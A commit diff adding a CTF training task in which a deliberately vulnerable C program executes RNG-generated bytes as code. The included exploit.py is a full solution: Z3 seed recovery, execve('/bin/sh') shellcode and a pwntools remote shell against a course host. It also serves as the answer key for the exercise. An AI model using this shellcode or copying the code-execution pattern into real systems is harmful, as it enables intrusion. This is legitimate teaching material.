stuff
This commit is contained in:
15
training/IntroZ3/tasks/chall2_dreamer/Dockerfile
Normal file
15
training/IntroZ3/tasks/chall2_dreamer/Dockerfile
Normal file
@@ -0,0 +1,15 @@
|
||||
# docker build -t dreamer . && docker run --rm -p 1337:1337 --name dreamer -dit dreamer
|
||||
FROM archlinux:latest
|
||||
|
||||
RUN pacman -Sy --noconfirm socat gcc
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY dream /app/
|
||||
RUN chmod +x /app/dream
|
||||
ARG FLAG=GPNCTF{fake_flag}
|
||||
RUN echo "$FLAG" > flag.txt
|
||||
|
||||
EXPOSE 1337
|
||||
|
||||
ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./dream,stderr" ]
|
||||
14
training/IntroZ3/tasks/chall2_dreamer/README.md
Normal file
14
training/IntroZ3/tasks/chall2_dreamer/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
This pwn/misc challenge was part of GPN CTF 2024
|
||||
|
||||
The challenge:
|
||||
- We can execute 4 bytes of arbitrary shellcode followed by 100 bytes of shellcode generated by a weird RNG, which we can seed
|
||||
- We already figured out a short sequence (9 bytes) of shellcode that we want to execute.
|
||||
This means we need to find a seed which will generate 5 specific bytes.
|
||||
|
||||
The RNG is already re-implemented in python for you in `test.py` and `exploit.py`.
|
||||
Implement the function `get_seed_for_sequence` to finish the exploit. `test.py` allows you to verify your implementation is correct.
|
||||
|
||||
The RNG function `custom_random` takes a current state variable (initially the seed) and will return a tuple of (next byte, next state)
|
||||
|
||||
To get the flag from the finished exploit, run: `./exploit.py courses.sec.in.tum.de 13372`
|
||||
Note, the shellcode and exploit succeeds only with a probability of 50%, you may need to run it multiple times.
|
||||
BIN
training/IntroZ3/tasks/chall2_dreamer/dream
Normal file
BIN
training/IntroZ3/tasks/chall2_dreamer/dream
Normal file
Binary file not shown.
59
training/IntroZ3/tasks/chall2_dreamer/dream.c
Normal file
59
training/IntroZ3/tasks/chall2_dreamer/dream.c
Normal file
@@ -0,0 +1,59 @@
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#define ROTL(X, N) (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
|
||||
#define ROTR(X, N) (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
|
||||
unsigned long STATE;
|
||||
unsigned long CURRENT;
|
||||
|
||||
char custom_random(){
|
||||
STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
|
||||
return STATE % 256;
|
||||
}
|
||||
|
||||
void* experience(long origin){
|
||||
char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
size_t k = 0;
|
||||
while(k<106){
|
||||
*(ccol+k) = 0x90; //nop just in case;
|
||||
k++;
|
||||
}
|
||||
k=16;
|
||||
*((int*)ccol) = origin;
|
||||
while(k<100){
|
||||
*(ccol+k)=custom_random();
|
||||
k++;
|
||||
}
|
||||
return ccol;
|
||||
|
||||
}
|
||||
|
||||
void sleepy(void * dream){
|
||||
int (*d)(void) = (void*)dream;
|
||||
d();
|
||||
}
|
||||
|
||||
|
||||
void win(){
|
||||
execv("/bin/sh",NULL);
|
||||
}
|
||||
|
||||
void setup(){
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
int main(){
|
||||
setup();
|
||||
long seed=0;
|
||||
printf("the win is yours at %p\n", win);
|
||||
scanf("%ld",&seed);
|
||||
STATE = seed;
|
||||
printf("what are you thinking about?");
|
||||
scanf("%ld",&seed);
|
||||
sleepy(experience(seed));
|
||||
}
|
||||
99
training/IntroZ3/tasks/chall2_dreamer/exploit.py
Normal file
99
training/IntroZ3/tasks/chall2_dreamer/exploit.py
Normal file
@@ -0,0 +1,99 @@
|
||||
|
||||
import time
|
||||
import pwn
|
||||
import z3
|
||||
import sys
|
||||
|
||||
|
||||
def ROL(X, N):
|
||||
return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
|
||||
|
||||
def ROR(X, N):
|
||||
return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
|
||||
|
||||
def custom_random(state):
|
||||
NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5);
|
||||
return NEW_STATE % 256, NEW_STATE;
|
||||
|
||||
|
||||
pwn.context.arch = 'x86_64'
|
||||
|
||||
|
||||
shc = pwn.asm("""
|
||||
cdq;
|
||||
push rdi;
|
||||
xor edi, edi;
|
||||
pop rsi;
|
||||
xor eax, eax;
|
||||
syscall
|
||||
""")
|
||||
|
||||
|
||||
|
||||
def get_seed_for_sequence(bytesequence):
|
||||
s = z3.Solver()
|
||||
base_state = z3.BitVec("base_state", 64)
|
||||
cur_state = base_state
|
||||
for byte in bytesequence:
|
||||
gen_byte, cur_state = custom_random(cur_state)
|
||||
s.add(gen_byte == byte)
|
||||
|
||||
if s.check() != z3.sat:
|
||||
raise RuntimeError()
|
||||
|
||||
m = s.model()
|
||||
return m[base_state].as_long()
|
||||
|
||||
def get_values():
|
||||
|
||||
print(len(shc))
|
||||
|
||||
first_val = pwn.u32(shc[:4])
|
||||
print(first_val)
|
||||
|
||||
second_val = get_seed_for_sequence(shc[4:])
|
||||
print(second_val)
|
||||
print(str(second_val).encode())
|
||||
return first_val, second_val
|
||||
|
||||
first_val, second_val = get_values()
|
||||
|
||||
|
||||
|
||||
cs = second_val
|
||||
|
||||
for v in shc[4:]:
|
||||
b, cs = custom_random(cs)
|
||||
print(b, v)
|
||||
assert b == v
|
||||
|
||||
|
||||
|
||||
if len(sys.argv) > 2:
|
||||
r = pwn.remote(sys.argv[1], int(sys.argv[2]))
|
||||
else:
|
||||
r = pwn.remote("localhost", 1337)
|
||||
|
||||
|
||||
r.recvuntil(b"at ")
|
||||
|
||||
win = int(r.recvline().strip().decode(), 16)
|
||||
|
||||
r.sendline(str(second_val).encode())
|
||||
r.recvuntil(b"?")
|
||||
|
||||
r.sendline(str(first_val).encode())
|
||||
|
||||
|
||||
_shc = bytearray([
|
||||
0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb,
|
||||
0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f,
|
||||
0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05
|
||||
])
|
||||
|
||||
time.sleep(.3)
|
||||
|
||||
r.send(b'\x90' * (0x10 + len(shc)-4) + _shc)
|
||||
|
||||
r.interactive()
|
||||
|
||||
51
training/IntroZ3/tasks/chall2_dreamer/test.py
Normal file
51
training/IntroZ3/tasks/chall2_dreamer/test.py
Normal file
@@ -0,0 +1,51 @@
|
||||
|
||||
import random
|
||||
import z3
|
||||
|
||||
|
||||
def ROL(X, N):
|
||||
if isinstance(X, z3.BitVecRef):
|
||||
return z3.RotateLeft(X,N)
|
||||
else:
|
||||
return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
|
||||
|
||||
|
||||
def ROR(X, N):
|
||||
if isinstance(X, z3.BitVecRef):
|
||||
return z3.RotateRight(X,N)
|
||||
else:
|
||||
return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
|
||||
|
||||
def custom_random(state):
|
||||
NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5)
|
||||
return NEW_STATE % 256, NEW_STATE
|
||||
|
||||
def get_seed_for_sequence(bytesequence):
|
||||
s = z3.Solver()
|
||||
base_state = z3.BitVec("base_state", 64)
|
||||
cur_state = base_state
|
||||
for byte in bytesequence:
|
||||
gen_byte, cur_state = custom_random(cur_state)
|
||||
s.add(gen_byte == byte)
|
||||
|
||||
if s.check() != z3.sat:
|
||||
raise RuntimeError()
|
||||
|
||||
m = s.model()
|
||||
return m[base_state].as_long()
|
||||
|
||||
|
||||
def gen_sequence(seed, length):
|
||||
r = []
|
||||
cs = seed
|
||||
for _ in range(length):
|
||||
v, cs = custom_random(cs)
|
||||
r.append(v)
|
||||
return bytes(r)
|
||||
|
||||
|
||||
test = random.getrandbits(32).to_bytes(4)
|
||||
seed = get_seed_for_sequence(test)
|
||||
print(seed)
|
||||
print(test)
|
||||
assert test == gen_sequence(seed, 4)
|
||||
Reference in New Issue
Block a user